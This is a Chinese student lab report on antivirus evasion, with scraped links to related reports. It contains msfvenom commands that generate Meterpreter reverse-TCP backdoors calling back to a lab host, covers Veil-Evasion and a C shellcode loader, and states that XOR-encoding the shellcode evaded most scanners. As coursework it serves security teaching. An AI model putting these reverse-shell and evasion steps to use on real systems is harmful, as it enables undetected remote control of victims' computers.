20155339 Exp3 免杀原理与实践

基础问题

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)。
  • 启发式恶意软件检测(很简单,就是根据些片面特征去推断,也就是进行检测,当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
  • 基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。

(2)免杀是做什么?

免杀,从字面进行理解,避免被杀毒软件kill,也就是恶意代码要能够不被杀毒软件发现进入并驻足于系统。

(3)免杀的基本方法有哪些?

  • 改变特征码,如:对EXE进行加壳(压缩壳、加密壳);对shellcode(像Meterpreter用encode进行编码或者基于payload重新编译生成可执行文件;源代码,用其他语言进行重写再编译(veil-evasion)。
  • 改变行为,有通讯方式和操作模式两种方法。
    • 通讯方式包括尽量使用反弹式连接、使用隧道技术、加密通讯数据。
    • 操作模式包括基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件。

实践总结与体会

基于上一次实验的基础完成了这次的实验,这两次的实验很有趣,上次的实验为了让自己完成任务或者说为了让自己开心开心,还需要假装没有杀毒软件,关闭或者在杀毒软件中把我们的后门手动添加信任,然而这次的实验,很明显,自己高端了一些,不用关闭杀软也可以攻击自己了,可是与此同时更深的恐惧也就袭来,完全太可怕了,竟然自己都能攻击得了自己,要是真正的专业人士想攻击,岂不易如反掌!除此之外,发现瑞星这个杀毒软件有点强,除此之外,发现查杀与编译的语言也貌似有些关系,用C语言编译的后门比C++编译的后门更容易被查杀,还有360查杀貌似更基于行为进行检测,而电脑管家感觉基本就是基于特征库进行查杀。

离实战还缺些什么技术或步骤?

在本次试验中,我尝试了利用Windows下的计算器程序作为可执行文件的模板来生成payload,但是事实上,并没有所少人会下载这个计算器吧。所以或许需要一个更好的比如像微信安装包这样的可执行模板并且保留其原有的功能,那应该就很厉害吧。

实践过程记录

Virscan测试后门

由于这次实验我选择的病毒扫描引擎是Virscan,所以在此先对上次实验产生的后门进行一个测试,我选择的是Virscan,还是比较好用,唯一的bug就是文件名字一旦包括数字就会说包含广告?所以需要对上次的后门重命名一次,结果直接上图吧:

的确上次试验一拷到主机就被查杀了!

使用msf编码器

在这里先贴出一些学习了的相关知识点:

一些重要的msfvenom命令行选项如下:


-p,指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定。
-f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e,指定需要使用的encoder(编码器)
-a,指定payload的目标架构,指定payload的目标平台
-b,设定规避字符集,比如: '\x00\xff'
-i,指定payload的编码次数
-x,指定一个自定义的可执行文件作为模板

注意:

  • **生成payload,有两个必须的选项:-p -f **
  • 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。

msf编码训练

  • 由于上次实验生成的后门非常容易被查杀,所以这次进行了一定的学习后发现使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload,想着会不会更不容易被查杀,因此进行以calc.exe为执行模板编码一次:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe

  • 使用-i选项进行多次编码。因为在某些情况下,迭代编码可以起到规避杀毒软件的作用:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe

查杀率依旧很高。因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这些就可以了。

Veil-Evasion

Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装,需要我们自己安装,只是安装过程路漫漫其修远兮~

  • 安装完成之后,在Kali的终端输入veil进入Veil,输入list

  • 输入use 1,选择Evasion。

  • list payloads之后选择自己想要的语言,比如我第一次尝试的是powershell,所以键入use 21

  • 设置IP这只端口,然后generate

  • 出现下图所示,其中记下生成的文件存储的路径。

  • 可是此处可以看到我的.bat脚本生成失败。多次尝试仍是如此,发现很多同学也是,很多语言的脚本无法生成,因此再次尝试Python,同样的步骤,直到下一步。

选择1。

  • 依旧出错,好像之前安装Python的时候出错了,由于安装这个实在需要太多时间,所以还是去尝试其他语言了。
  • 再次以同样的步骤,选择C,终于成功。

一拷到我的windows就不行了

加入信任,放到网站上扫描下,然后开始回连,回连成功

C语言调用Shellcode

  • 生成一个c语言格式的Shellcode数组:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.224.136 LPORT=5339 -f c

  • Linux平台交叉编译Windows应用:i686-w64-mingw32-g++ met.c -o met.exe生成met.exe。

  • 但是拷到Windows中就会提示失败。

  • 用VS编译生成了一个exe,放到网上扫描一下,一拖过去就被查杀了,添加信任,回连,成功。

VisualStudio

安装VisualStudio,也花费了我的很长时间,到官网下载,需要选择的没什么,只是需要网和等待,其中下图中需要进行如下选择。

  • 在VisualStudio 2017中建项目可以参照点击此处

  • 对生成的shellcode进行编译,生成exe文件。

  • 一编译就被查杀了。

  • 扫描并回连

加壳

加壳了之后更严重了。

组合实现免杀

尝试了很多方法:

  • 对shellcode写成的c代码加壳:

  • 对veil选择c生成的脚本加壳,没有被电脑管家查出,但是一运行就被360kill了。

  • 还尝试了几种没能记录,最后看修改代码,尝试对原shellcode异或0x39,然后在代码中再异或回去,因为这样就可能降低其通过特征库查杀的概率,终于可以和杀软共存实现免杀,放到virscan上也只有2%的报毒率。



20155339 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. Nginx控制客户端请求的速率

    使用ngx_http_limit_req_module模块的两个参数 ngx_http_limit_req_module模块用于限制每个IP访问每个定义key的请求速率 1.limit_req_zon ...

  2. [WPF 基础知识系列] —— 绑定中的数据校验Vaildation

    前言: 只要是有表单存在,那么就有可能有对数据的校验需求.如:判断是否为整数.判断电子邮件格式等等. WPF采用一种全新的方式 - Binding,来实现前台显示与后台数据进行交互,当然数据校验方式也 ...

  3. SQL Server中数据库文件的存放方式,文件和文件组 (转载)

    简介 在SQL SERVER中,数据库在硬盘上的存储方式和普通文件在Windows中的存储方式没有什么不同,仅仅是几个文件而已.SQL SERVER通过管理逻辑上的文件组的方式来管理文件.理解文件和文 ...

  4. MySQL数据行溢出的深入理解

    一.从常见的报错说起 故事的开头我们先来看一个常见的sql报错信息: 相信对于这类报错大家一定遇到过很多次了,特别对于OMG这种已内容生产为主要工作核心的BG,在内容线的存储中,数据大一定是个绕不开的 ...

  5. PostgreSQL数据加载工具之pg_bulkload

    1. 介绍 PostgreSQL提供了一个copy命令的便利数据加载工具,copy命令源于PostgreSQL数据库,copy命令支持文件与表之间的数据加载和表对文件的数据卸载.pg_bulkload ...

  6. Jmeter用于接口测试中【接口耦合关联的实现】

    Jmeter用于接口测试时,后一个接口经常需要用到前一次接口返回的结果,应该如何获取前一次请求的结果值,应用于后一个接口呢,拿一个登录的例子来说明如何获取. 1.打开jmeter, 使用的3.3的版本 ...

  7. Linux 修改root密码(忘记密码后)

    重置密码(一) 背景: 本文基于虚拟机的RHEL6.6版本  RHEL7与此略有不同 重新启动Linux系统 进入如下后界面,再按e键 3. 进入如下界面后,使用键盘上的上下键,选中第二项以kerne ...

  8. Python pandas & numpy 笔记

    记性不好,多记录些常用的东西,真·持续更新中::先列出一些常用的网址: 参考了的 莫烦python pandas DOC numpy DOC matplotlib 常用 习惯上我们如此导入: impo ...

  9. chrome浏览器访问Google的插件“谷歌访问插件”以及常用插件

    1.解决新版谷歌浏览器无法从该网站添加应用.拓展程序和用户脚本 1.在Google Chrome浏览器的桌面快捷方式上鼠标右键,选择属性(R). 2. 在目标(T)后添加参数   --enable-e ...

  10. 打开Excel时提示“向程序发送命令时出现问题”

    Excel界面中点击“文件”,选择“选项”,在弹出的“Excel选项”对话框中依次点击“高级”-“常规”,然后取消勾选”忽略使用动态数据交换(DDE)的其他应用程序”: